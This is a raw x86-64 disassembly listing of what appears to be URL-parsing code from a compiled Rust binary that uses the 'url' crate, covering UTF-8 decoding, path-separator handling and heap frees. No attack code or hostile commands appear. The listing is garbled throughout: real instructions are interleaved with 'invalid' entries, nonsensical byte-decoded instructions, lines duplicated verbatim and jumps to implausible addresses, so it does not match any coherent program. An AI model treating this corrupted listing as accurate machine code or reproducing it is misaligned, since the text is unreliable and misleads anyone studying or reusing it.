mov qword [rax + rdx], rcx
add rdx, 8
mov qword [rdi + 0x10], rdx
mov byte [rsp + 0x70], 0
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
lea r8, [rsp + 0x70]
mov r9d, 7
mov rcx, rdi
xor edx, edx
call fcn.1400f9cd0
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, rdi
xor r8d, r8d
mov r9d, 4
call fcn.1400fe290
mov eax, dword [rsp + 0x70]
cmp eax, 2
je 0x1400fc691
mov ecx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0x74]
mov r8, qword [rdi + 0x10]
mov qword [r15 + 0x10], r8
movups xmm0, xmmword [rdi]
movups xmmword [r15], xmm0
mov dword [r15 + 0x18], eax
mov qword [r15 + 0x1c], rdx
mov dword [r15 + 0x24], ecx
mov word [r15 + 0x28], 0
movaps xmm0, xmmword [0x140112ad0]
movups xmmword [r15 + 0x2c], xmm0
mov dword [r15 + 0x3c], 7
mov byte [r15 + 0x40], 0
jmp 0x1400fc6c0
mov rax, qword [rdi + 8]
movzx ecx, word [rbp]
mov word [rax + r14], cx
add r14, 2
mov qword [rdi + 0x10], r14
xor r15d, r15d
jmp 0x1400fc3a4
mov qword [rsp + 0x68], rax
mov rcx, rax
mov rdx, r12
mov r8, r14
call fcn.140106250
mov r8, rsi
test r13b, r13b
jne 0x1400fbf62
test rbp, rbp
je 0x1400fbf62
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r14, r14
je 0x1400fbfd3
lea rcx, [rsp + 0x70]
mov r13, qword [rsp + 0x68]
mov rdx, r13
mov r8, r14
call fcn.1400f5710
mov rax, qword [rsp + 0x70]
movabs r12, 0x8000000000000002
movzx esi, byte [rsp + 0x78]
cmp rax, r12
jne 0x1400fc05f
mov bpl, 1
xor r14d, r14d
mov qword [rsp + 0xb8], rax
mov r12, qword [rdi + 0x10]
mov rax, r12
shr rax, 0x20
jne 0x1400fc507
test r14b, r14b
setne byte [rsp + 0xc8]
test bpl, bpl
je 0x1400fc1a2
cmp r12, qword [rdi]
jne 0x1400fc013
mov rcx, rdi
call fcn.1400ba350
mov rax, qword [rdi + 8]
mov byte [rax + r12], 0x2f
lea rax, [r12 + 1]
mov qword [rdi + 0x10], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
lea r8, [rsp + 0xc8]
mov rcx, rdi
xor edx, edx
mov r9, r12
call fcn.1400f9cd0
cmp byte [rsp + 0xc8], 0
mov rbx, qword [rsp + 0xc0]
jne 0x1400fc25f
jmp 0x1400fc1d2
mov qword [rsp + 0x20], rbx
lea r8, [rsp + 0xc8]
mov rcx, rdi
xor edx, edx
mov r9, r15
call fcn.1400ff630
cmp byte [rsp + 0xc8], 0
mov rbx, qword [rsp + 0xc0]
jne 0x1400fc25f
cmp r12, 7
jb 0x1400fc9cc
mov r9, qword [rdi + 0x10]
cmp r9, r12
jb 0x1400fc9e0
mov r13, rbx
mov rcx, qword [rdi + 8]
cmp r9, 8
jb 0x1400fc200
cmp byte [rcx + 7], 0xbf
jle 0x1400fca38
mov rbx, rdx
mov r15, rax
cmp r9, r12
jbe 0x1400fc216
cmp byte [rcx + r12], 0xbf
jle 0x1400fca50
lea rax, [rcx + 7]
add rcx, r12
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x88], 7
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x70]
call fcn.140011550
mov r12d, 7
xor r14d, r14d
mov rax, r15
mov rdx, rbx
mov rbx, r13
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, rdi
xor r8d, r8d
mov r9d, 4
call fcn.1400fe290
mov eax, dword [rsp + 0x70]
cmp eax, 2
jne 0x1400fc2ac
movzx eax, byte [rsp + 0x74]
mov byte [rbx + 8], al
movabs rax, 0x8000000000000000
mov qword [rbx], rax
cmp qword [rdi], 0
jne 0x1400fc6ad
jmp 0x1400fc6c0
mov ecx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0x74]
mov r8, qword [rdi + 0x10]
mov qword [rbx + 0x10], r8
movups xmm0, xmmword [rdi]
movups xmmword [rbx], xmm0
mov dword [rbx + 0x18], eax
mov qword [rbx + 0x1c], rdx
mov dword [rbx + 0x24], ecx
mov word [rbx + 0x28], 0
movabs rax, 0x700000004
mov qword [rbx + 0x2c], rax
mov dword [rbx + 0x34], 7
mov dword [rbx + 0x38], r12d
mov dword [rbx + 0x3c], r12d
mov byte [rbx + 0x40], r14b
mov dword [rbx + 0x41], esi
mov rax, qword [rsp + 0xb8]
mov dword [rbx + 0x45], eax
mov rax, qword [rsp + 0xf0]
mov qword [rbx + 0x49], rax
jmp 0x1400fc6c0
mov r14, qword [rsp + 0x68]
add esi, 0xffffffdd
cmp esi, 0x39
ja 0x1400fc3c4
movabs rax, 0x200000010001001
bt rax, rsi
jae 0x1400fc3c4
mov r13, r14
mov byte [rsp + 0x70], 0
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0x70]
mov rcx, rdi
xor edx, edx
mov r9, r12
call fcn.1400f9cd0
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, rdi
xor r8d, r8d
mov r9d, 4
call fcn.1400fe290
mov eax, dword [rsp + 0x70]
cmp eax, 2
jne 0x1400fc43a
movzx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0xc0]
mov byte [rcx + 8], al
movabs rax, 0x8000000000000000
mov qword [rcx], rax
cmp qword [rdi], 0
jne 0x1400fc6ad
jmp 0x1400fc6c0
mov ecx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0x74]
mov r8, qword [rdi + 0x10]
mov r9, qword [rsp + 0xc0]
mov qword [r9 + 0x10], r8
movups xmm0, xmmword [rdi]
movups xmmword [r9], xmm0
movaps xmm0, xmmword [rsp + 0xe0]
movups xmmword [r9 + 0x41], xmm0
mov dword [r9 + 0x18], eax
mov qword [r9 + 0x1c], rdx
mov dword [r9 + 0x24], ecx
mov word [r9 + 0x28], 0
movabs rax, 0x700000004
mov qword [r9 + 0x2c], rax
mov dword [r9 + 0x34], 7
mov dword [r9 + 0x38], r12d
mov dword [r9 + 0x3c], r12d
mov byte [r9 + 0x40], r15b
jmp 0x1400fc6c0
jmp 0x1400fc6c0
jmp 0xcc990cdc
or byte [rax], al
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
xor ebp, ebp
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rsp + 0x68]
push 0x5e6a15ff
add dword [rax], eax
push 0x5e6a15ff
add dword [rax], eax
mov r12, qword [rdi + 0x10]
mov rax, r12
shr rax, 0x20
je 0x1400fbff2
mov rcx, qword [rsp + 0xc0]
mov byte [rcx + 8], 9
rol byte [rax], 0
add dh, al
or byte [r9], cl
movabs rax, 0x8000000000000000
mov qword [rcx], rax
cmp qword [rdi], 0
jne 0x1400fc6ad
add dword [rax], eax
invalid
add dword [rax], eax
add cl, ch
xchg ecx, eax
add dword [rax], eax
add byte [rbx + rcx*4 + 0x77], cl
adc byte [rcx], dh
fucomi st(3)
sbb dword [rdi], ecx
test dword [rdx + 4], esi
add byte [rax], al
jmp 0x1400fc6c0
mov rax, qword [rdi]
mov r14, qword [rdi + 0x10]
adc byte [rcx + rbp - 0x10], cl
adc byte [rcx + rbp - 0x10], cl
cmp rax, rbx
jb 0x1400fc8c1
mov rcx, qword [rdi + 8]
add rcx, r14
mov r8, rbx
call fcn.140106250
add r14, rbx
mov qword [rdi + 0x10], r14
mov qword [r15 + 0x10], r14
mov dword [rdi + 0x10], esi
mov dword [rdi + 0x10], esi
movups xmm0, xmmword [rdi]
movups xmmword [r15], xmm0
movzx eax, byte [rbp + 0x50]
mov byte [r15 + 0x50], al
movups xmm0, xmmword [rbp + 0x40]
movups xmmword [r15 + 0x40], xmm0
movups xmmword [r15 + 0x40], xmm0
mov eax, dword [rbp + 0x3c]
mov rcx, qword [rbp + 0x18]
mov qword [r15 + 0x18], rcx
sbb byte [r9 - 0x39], r8b
and byte [r8], r8b
add byte [rax], al
add byte [rbx - 0x76bed7b3], cl
sub byte [rcx - 0x77], al
sub byte [r15], r9b
adc byte [rbp + 0x2c], al
sbb byte [r9 - 0x39], r8b
and byte [r8], r8b
add byte [rax], al
add byte [rbx - 0x76bed7b3], cl
sub byte [rcx - 0x77], al
sub byte [rcx - 0x77], al
sub byte [r15], r9b
adc byte [rbp + 0x2c], al
movups xmmword [r15 + 0x2c], xmm0
mov dword [r15 + 0x3c], eax
sub al, 0x41
mov dword [rdi + 0x3c], eax
jmp 0x1400fc6c0
mov edx, dword [rdi + 0x10]
jmp 0x1400fbaa3
add byte [rax - 0x77], cl
stc
call fcn.140109710
mov rdx, qword [rdi + 0x10]
jmp 0x1400fb617
mov eax, dword [rdi]
mov r12, qword [rdi + 0x10]
sub rax, r12
cmp rax, r14
jb 0x1400fc8de
mov rcx, qword [rdi + 8]
add rcx, r12
mov r8, r14
invalid
call fcn.140106250
wait
add byte [rax], al
invalid
wait
add byte [rax], al
add r12, r14
mov qword [rdi + 0x10], r12
mov rsi, rbp
mov ebp, dword [rbp + 0x2c]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r13
lea rcx, [rsp + 0x70]
mov rdx, rdi
xor r8d, r8d
mov r9d, ebp
call fcn.1400fe290
mov eax, dword [rsp + 0x70]
cmp eax, 2
jne 0x1400fc6d5
movzx eax, byte [rsp + 0x74]
mov byte [r15 + 8], al
movabs rax, 0x8000000000000000
mov qword [r15], rax
cmp qword [rdi], 0
je 0x1400fc6c0
mov r8, qword [rdi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0x74]
mov r8, qword [rdi + 0x10]
mov qword [r15 + 0x10], r8
movups xmm0, xmmword [rdi]
movups xmmword [r15], xmm0
movups xmm0, xmmword [rsi + 0x40]
movups xmmword [r15 + 0x40], xmm0
movzx r8d, byte [rsi + 0x50]
mov byte [r15 + 0x50], r8b
mov dword [r15 + 0x18], eax
sbb byte [rcx - 0x77], cl
push rdi
sbb al, 0x41
mov dword [rdi + 0x24], ecx
mov eax, dword [rsi + 0x28]
mov dword [r15 + 0x28], eax
mov dword [rdi + 0x28], eax
mov dword [r15 + 0x2c], ebp
movups xmm0, xmmword [rsi + 0x30]
movups xmmword [r15 + 0x30], xmm0
jmp 0x1400fc6c0
mov rcx, qword [rdi + 8]
add rcx, r13
mov r8, r14
call fcn.140106250
add r13, r14
add ebp, esi
add ebp, esi
mov qword [rdi + 0x10], r13
mov r12d, dword [rbp + 0x3c]
mov rax, r13
sub rax, r12
je 0x1400fc7f5
mov rcx, qword [rdi + 8]
test r12d, r12d
je 0x1400fc7cd
cmp r13, r12
jbe 0x1400fca01
cmp byte [rcx + r12], 0xbf
jle 0x1400fca01
cmp rax, 2
jne 0x1400fc7e8
clc
add dh, byte [rbp + 0x15]
movzx eax, byte [rcx + r12]
and al, 0xdf
add al, 0xbf
fild word [rdi + rdi*4]
cmp al, 0x19
ja 0x1400fc7e8
cmp byte [rcx + r12 + 1], 0x3a
je 0x1400fc7f5
invalid
or eax, 0x31f98948
ror byte [rbp - 0x77], cl
loopne 0x1400fc7d9
mov rcx, rdi
xor edx, edx
mov r8, r12
call fcn.1400fe8f0
sti
and byte [rax], al
add dh, al
and al, 0x70
add dword [rax - 0x77], ecx
pop rsp
and al, 0x28
mov byte [rsp + 0x70], 1
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x70]
mov rcx, rdi
xor edx, edx
mov r9, r12
call fcn.1400f9cd0
mov rcx, qword [rdi + 0x40]
mov qword [rsp + 0xb0], rcx
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xa0], xmm3
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov r9d, dword [rbp + 0x2c]
mov ecx, dword [rbp + 0x30]
mov r8d, dword [rbp + 0x34]
mov r10d, dword [rbp + 0x38]
lea r11, [rbp + 0x40]
movzx esi, word [rbp + 0x28]
movzx edi, word [rbp + 0x2a]
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], r12d
mov word [rsp + 0x48], di
mov word [rsp + 0x40], si
mov qword [rsp + 0x38], r11
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], ecx
lea rdx, [rsp + 0x70]
mov rcx, r15
xor r8d, r8d
call fcn.1400fae70
jmp 0x1400fc6c0
add byte [rax], al
mov r12, qword [rdi + 0x10]
jmp 0x1400fc377
mov rcx, rdi
stc
mov rsi, rdx
mov rdx, r14
mov r8, rbx
call fcn.140109710
mov rdx, rsi
mov r14, qword [rdi + 0x10]
jmp 0x1400fc550
mov rcx, rdi
mov rsi, rdx
invalid
mov rdx, r12
invalid
mov r8, r14
call fcn.140109710
mov rdx, rsi
mov r12, qword [rdi + 0x10]
jmp 0x1400fc64f
mov dword [rsp + 0xb8], eax
jmp 0x1400fc4e2
add byte [rcx + rcx*4 - 0x1e], cl
mov r13, qword [rdi + 0x10]
jmp 0x1400fc78e
add byte [rax], al
mov r14, qword [rdi + 0x10]
jmp 0x1400fbcfb
invalid
or eax, 0x75494
lea r8, [rsp + 0x70]
mov edx, 0x2b
call fcn.140108600
lea rax, [0x1401724b8]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
mov rcx, r12
mov rdx, r14
xor r8d, r8d
call fcn.1401087e0
call fcn.140010b00
mov ecx, 1
mov rdx, r14
call fcn.140107fc0
lea rcx, [0x1401723d8]
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
ror byte [rcx - 0x77], 0xd9
ror byte [rcx - 0x77], 0xd9
call fcn.1401087e0
lea r8, [0x140171f90]
mov ecx, 7
mov rdx, r12
call fcn.140108530
invalid
add byte [rbp + rcx*4 + 5], cl
test eax, 0x4c000755
mov ecx, esp
lea r8, [0x140171f90]
mov rcx, r12
mov rdx, r9
call fcn.140108340
mov ecx, 1
mov edx, 2
call fcn.140107fc0
lea rax, [0x140172560]
mov qword [rsp + 0x20], rax
mov rdx, r13
mov r8, r12
mov r9, r13
call fcn.1401087e0
invalid
add byte [rax - 0x73], cl
or eax, 0x758d6
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, r14
call fcn.1401087e0
lea rcx, str.assertion_failed:_self.is_char_boundary_start_
lea r8, [0x140171fd8]
mov edx, 0x2e
call fcn.140108350
lea rcx, str.assertion_failed:_self.is_char_boundary_end_
lea r8, [0x140172020]
mov edx, 0x2c
call fcn.140108350
int3
invalid
mov eax, 0x2600
mov r13, r8
nop dword [rax + rax]
add byte [rbp - 0x77], cl
invalid
cmp r13, r14
je 0x1400fcf0f
movzx r9d, byte [r13]
movzx ecx, r9b
test cl, cl
js 0x1400fcae0
inc r13
cmp ecx, 0xd
jbe 0x1400fcb60
jmp 0x1400fcb80
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [r13 + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x1400fcb37
movzx r8d, byte [r13 + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x1400fcb4a
add r13, 2
shl edx, 6
or edx, r10d
mov ecx, edx
cmp ecx, 0xd
jbe 0x1400fcb60
mov edx, 0x110000
add byte [rax], al
adc dword [rax], eax
bt eax, ecx
jae 0x1400fcb80
cmp edx, 0x110000
je 0x1400fcab0
jmp 0x1400fcb8e
mov edx, ecx
cmp edx, 0x110000
je 0x1400fcab0
cmp edx, 0x3e
jg 0x1400fcbb9
cmp edx, 0x23
je 0x1400fcf95
cmp edx, 0x2f
je 0x1400fcbc7
cmp dword [rbx + 0x18], 0
mov byte [rsp + 0x77], r11b
je 0x1400fd06e
cmp edx, 0x3f
je 0x1400fcff0
cmp edx, 0x5c
jne 0x1400fcba1
mov byte [rsp + 0x77], r11b
xor eax, eax
mov ecx, 0x2600
mov r12, rsi
mov rdx, rsi
cmp rdx, r14
jne 0x1400fcc09
mov r9d, r8d
cmp r9d, 0x110000
jne 0x1400fccd5
cmp rdx, r14
je 0x1400fccef
movzx r11d, byte [rdx]
movzx r8d, r11b
test r8b, r8b
js 0x1400fcc30
cmp r8d, 0xd
jbe 0x1400fccc0
jmp 0x1400fcbf0
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
je 0x1400fccef
add rdx, 4
cmp r8d, 0xd
jbe 0x1400fccc0
jmp 0x1400fcbf0
mov r9d, 0x110000
bt ecx, r8d
jb 0x1400fcbf3
jmp 0x1400fcbf0
cmp r9d, 0x5c
je 0x1400fcce1
cmp r9d, 0x2f
jne 0x1400fccef
inc eax
mov r12, rdx
cmp rdx, r14
jne 0x1400fcc09
cmp eax, 1
jbe 0x1400fcf4a
lea eax, [r13 - 9]
cmp eax, 2
jae 0x1400fce07
cmp r15, r14
je 0x1400fce68
movzx edx, byte [r15]
movzx r13d, dl
test r13b, r13b
js 0x1400fcd90
inc r15
cmp r13d, 0x2e
jle 0x1400fcd50
jmp 0x1400fce30
mov eax, r13d
and eax, 0x1f
movzx r8d, byte [r15 + 1]
and r8d, 0x3f
cmp r13b, 0xdf
jbe 0x1400fcdee
movzx ecx, byte [r15 + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x1400fce13
movzx r13d, byte [r15 + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r13d, 0x3f
or r13d, ecx
or r13d, eax
cmp r13d, 0x110000
je 0x1400fce68
add r15, 4
cmp r13d, 0x2e
jle 0x1400fcd50
jmp 0x1400fce30
add r15, 2
shl eax, 6
or eax, r8d
mov r13d, eax
cmp r13d, 0x2e
jle 0x1400fcd50
jmp 0x1400fce30
cmp r13d, 0xd
je 0x1400fcd5d
jmp 0x1400fce68
add r15, 3
shl eax, 0xc
or ecx, eax
mov r13d, ecx
cmp r13d, 0x2e
jle 0x1400fcd50
nop dword [rax]
cmp r13d, 0x2f
je 0x1400fce49
cmp r13d, 0x110000
je 0x1400fcd5d
cmp r13d, 0x5c
jne 0x1400fce68
mov rcx, rbp
mov edx, r13d
call fcn.1400f6a00
cmp r13d, 0x2f
je 0x1400fcd5d
cmp r13d, 0x5c
je 0x1400fcd5d
mov rax, qword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
mov bpl, 1
cmp qword [rsp + 0x90], 2
jne 0x1400fce94
movzx ecx, word [r8]
cmp ecx, 0x2f2f
setne bpl
test rax, rax
mov r15, qword [rsp + 0x78]
je 0x1400fcead
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bpl, bpl
mov rcx, qword [rsp + 0xd0]
je 0x1400fcec7
mov dl, 3
mov rax, qword [rsp + 0xc8]
mov eax, dword [rsp + 0xc8]
mov eax, dword [rsp + 0xc8]
call qword [rax + 0x28]
mov ebp, dword [rbx + 0x2c]
mov r13d, ebp
mov rdx, qword [rbx + 8]
inc r13d
je 0x1400fd297
mov rax, qword [rbx + 0x10]
cmp rax, r13
jbe 0x1400fd291
cmp byte [rdx + r13], 0xbf
jg 0x1400fd297
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, r13
call fcn.1401087e0
cmp dword [rbx + 0x20], 0
je 0x1400fd033
mov r14d, dword [rbx + 0x24]
mov rdx, qword [rbx + 8]
test r14, r14
je 0x1400fd1f2
mov rax, qword [rbx + 0x10]
cmp rax, r14
jbe 0x1400fd3bd
mov rax, qword [rdi + 0x40]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x20], r14
lea rdx, [rsp + 0x80]
mov rcx, r15
mov r8, rbx
mov r9, rsi
call fcn.1400fd910
jmp 0x1400fd852
cmp dword [rbx + 0x18], 0
mov byte [rsp + 0x77], r11b
je 0x1400fd0ab
lea rax, [rbx + 0x1c]
mov r9d, dword [rax]
mov rdx, qword [rbx + 8]
test r9, r9
je 0x1400fd0c9
mov r12, r15
mov rdx, qword [rbx + 8]
mov r14, qword [rbx + 0x10]
mov rax, qword [rdi]
mov r15, qword [rdi + 0x10]
sub rax, r15
cmp rax, r14
jae 0x1400fd1fc
mov rcx, rdi
mov rsi, rdx
mov rdx, r15
mov r8, r14
call fcn.140109710
mov rdx, rsi
mov r15, qword [rdi + 0x10]
jmp 0x1400fd1fc
cmp dword [rbx + 0x20], 0
je 0x1400fd759
mov r12, r15
mov r15, qword [rdi + 0x10]
xor r14d, r14d
mov rcx, qword [rdi + 8]
add rcx, r15
mov r8, r14
call fcn.140106250
add r15, r14
mov qword [rdi + 0x10], r15
mov qword [r12 + 0x10], r15
movups xmm0, xmmword [rdi]
movups xmmword [r12], xmm0
movzx eax, byte [rbx + 0x50]
mov byte [r12 + 0x50], al
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [r12 + 0x40], xmm0
mov eax, dword [rbx + 0x3c]
mov rcx, qword [rbx + 0x18]
mov qword [r12 + 0x18], rcx
mov dword [r12 + 0x20], 0
mov ecx, dword [rbx + 0x28]
mov dword [r12 + 0x28], ecx
movups xmm0, xmmword [rbx + 0x2c]
movups xmmword [r12 + 0x2c], xmm0
mov dword [r12 + 0x3c], eax
jmp 0x1400fd852
jne 0x1400fcef2
mov rax, qword [rdi]
mov rbx, qword [rdi + 0x10]
sub rax, rbx
cmp rax, r13
jb 0x1400fd866
mov rcx, qword [rdi + 8]
add rcx, rbx
mov r8, r13
call fcn.140106250
add rbx, r13
mov qword [rdi + 0x10], rbx
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], r14
lea rcx, [0x1401723a0]
lea r8, [rsp + 0x80]
mov edx, 2
call fcn.1400f7fe0
test al, al
je 0x1400fd35a
mov r8, qword [rsp + 0x80]
mov r9, qword [rsp + 0x88]
mov rax, qword [rdi + 0x40]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x28], ebp
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x80]
mov rcx, r15
call fcn.1400f8190
jmp 0x1400fd852
mov rax, qword [rdi + 0x40]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x28], ebp
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x80]
mov rcx, r15
mov r8, r12
mov r9, r14
call fcn.1400f8190
jmp 0x1400fd852
and al, 0x78
mov rax, qword [rdi]
mov rbp, qword [rdi + 0x10]
sub rax, rbp
cmp rax, r12
jb 0x1400fd8ad
mov rcx, qword [rdi + 8]
add rcx, rbp
mov rdx, r13
mov r8, r12
call fcn.140106250
add rbp, r12
add byte [rcx + rax - 0x1b], cl
mov qword [rdi + 0x10], rbp
mov r12d, dword [rbx + 0x3c]
mov esp, dword [rbx + 0x3c]
mov esp, dword [rbx + 0x3c]
invalid
mov rcx, rdi
movzx edx, byte [rsp + 0x77]
mov r8, r12
loopne 0x1400fd411
ret
adc al, 0
add byte [rax - 0x77], cl
invalid
cmp qword [rdi + 0x10], r12
adc byte [rdi], cl
test dword [rcx + rax], esp
add dword fs:[rax], eax
invalid
loopne 0x1400fd411
ret
adc byte [rdi], cl
test dword [rcx + rax], esp
add dword fs:[rax], eax
add dword fs:[rax], eax
add byte [rbx + rcx*4 + 0x4b], al
sub al, 0x4d
test ecx, ecx
mov r9d, dword [rbx + 0x2c]
test r9, r9
mov rdx, qword [rsp + 0x78]
push rsp
and al, 0x78
je case.0x1400dc1f5.475
cmp rdx, r9
jbe 0x1400fd46c
cmp byte [r13 + r9], 0xbf
jg case.0x1400dc1f5.475
mov edi, 0x8d48197f
add eax, 0x74e9c
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
and al, 0x20
mov rcx, r13
xor r8d, r8d
jmp 0x128d005ad
call fcn.1401087e0
jne 0x1400fd455
mov rcx, r13
mov rdx, r9
call fcn.1400fdbc0
cmp al, 2
jne 0x1400fd564
add byte [rax], al
mov eax, 0x2600
add byte es:[rax], al
mov rcx, rsi
jmp case.0x1400dbd41.483
mov r8d, edx
cmp r8d, 0x110000
adc dword [rax], eax
adc dword [rax], eax
jne 0x1400fd564
cmp rcx, r14
je 0x1400fd583
test bh, bl
add byte [rax], al
invalid
test bh, bl
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
adc dword [rcx + 0xf], eax
mov dh, 0xd2
movzx r10d, byte [rcx]
movzx edx, r10b
test dl, dl
js 0x1400fd4c0
inc rcx
cmp edx, 0xd
jbe 0x1400fd550
xchg byte [rax + rax - 0x32150000], dl
nop
jmp 0x1400fd48b
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
jrcxz 0x1400fd50f
jrcxz 0x1400fd50f
invalid
cmp dl, 0xdf
jbe 0x1400fd51a
movzx r9d, byte [rcx + 2]
shl r11d, 6
shl ebx, 6
shl ebx, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x1400fd532
cli
invalid
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, ecx
or edx, ecx
or edx, r8d
cmp edx, 0x110000
je 0x1400fd583
add rcx, 4
cmp edx, 0xd
jbe 0x1400fd550
add al, 0x83
cli
or eax, 0x71e93b76
jmp 0x1400fd48b
invalid
add rcx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
cmp edx, 0xd
jbe 0x1400fd550
jmp 0x1400fd48b
add rcx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
cmp edx, 0xd
ja 0x1400fd48b
mov r8d, 0x110000
bt eax, edx
jb 0x1400fd48e
cmp qword [rdi], r12
jne 0x1400fd571
mov rax, rsi
jmp 0x1400fd59e
mov edx, ecx
cmp edx, 0x110000
jne 0x1400fd67a
cmp rax, r14
je 0x1400fd693
movzx ecx, r9b
test cl, cl
js 0x1400fd5d0
inc rax
cmp ecx, 0xd
jbe 0x1400fd660
jmp 0x1400fd590
add byte [rcx + 0x1fe283ca], cl
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [rax + 1]
movzx edx, byte [rax + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x1400fd625
movzx r8d, byte [rax + 2]
shl r10d, 6
add al, byte [rcx - 0x3f]
loop 0x1400fd5f2
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x1400fd63b
rol byte [rcx - 0x80], 1
stc
invalid
movzx ecx, byte [rax + 3]
and edx, 7
shl edx, 0x12
shl r8d, 6
invalid
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
adc dword [rax], eax
je 0x1400fd693
add rax, 4
cmp ecx, 0xd
jbe 0x1400fd660
invalid
jmp 0x1400fd590
invalid
add rax, 2
shl edx, 6
or edx, r10d
mov ecx, edx
cmp ecx, 0xd
jbe 0x1400fd660
jmp 0x1400fd590
push rbp
invalid
add rax, 3
shl edx, 0xc
or r8d, edx
mov ecx, r8d
cmp ecx, 0xd
ja 0x1400fd590
invalid
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rdx + 0x110000], bh
mov edx, 0x110000
mov r8d, 0x2600
bt r8d, ecx
jb 0x1400fd592
jmp 0x1400fd590
add byte [rax], al
add byte [rcx], al
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
jmp 0x1400fd6a5
mov byte [rsp + 0x80], 1
mov qword [rsp + 0x28], r14
